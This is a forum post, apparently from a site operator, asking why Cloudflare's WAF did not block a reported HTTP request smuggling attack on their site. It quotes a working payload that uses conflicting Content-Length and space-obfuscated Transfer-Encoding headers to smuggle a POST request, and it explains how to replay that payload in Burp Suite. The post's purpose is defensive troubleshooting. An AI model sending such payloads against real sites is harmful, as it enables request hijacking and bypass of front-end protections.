Cloudflare not preventing HTTP request smuggling as I'd expect

We’ve received a report of successful HTTP request smuggling against our Cloudflare-fronted site, and I’m a bit surprised that CF is letting it through.

The request payload looks like this:

HEAD / HTTP/1.1
Host: www.ourdomain.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding : chunked

0

POST /api/v1/some-endpoint HTTP/1.1
Host: www.ourdomain.com


Note a few things:

  • this is HTTP 1.1
  • the space in the Transfer-Encoding header before the colon
  • the presence of the Transfer-Encoding and Content-Length headers
  • the two blank lines at the end of the request

If one replays this sort of request in eg Burp Suite Repeater in rapid repetition, one sporadically sees both the response from the HEAD and the response from the POST.

Obviously our back-end origin server seems to be vulnerable to the request smuggling, but I am a bit surprised that Cloudflare is allowing this through – we are proxied through CF, and we have WAF Managed Rules enabled. I’m basically here to make sure this is actually working as intended and isn’t a CF bug or something (I’m definitely not here to point the finger at CF, but rather to validate that this is intended). I’d love any help or advice that anyone can spare!

This topic was automatically closed 15 days after the last reply. New replies are no longer allowed.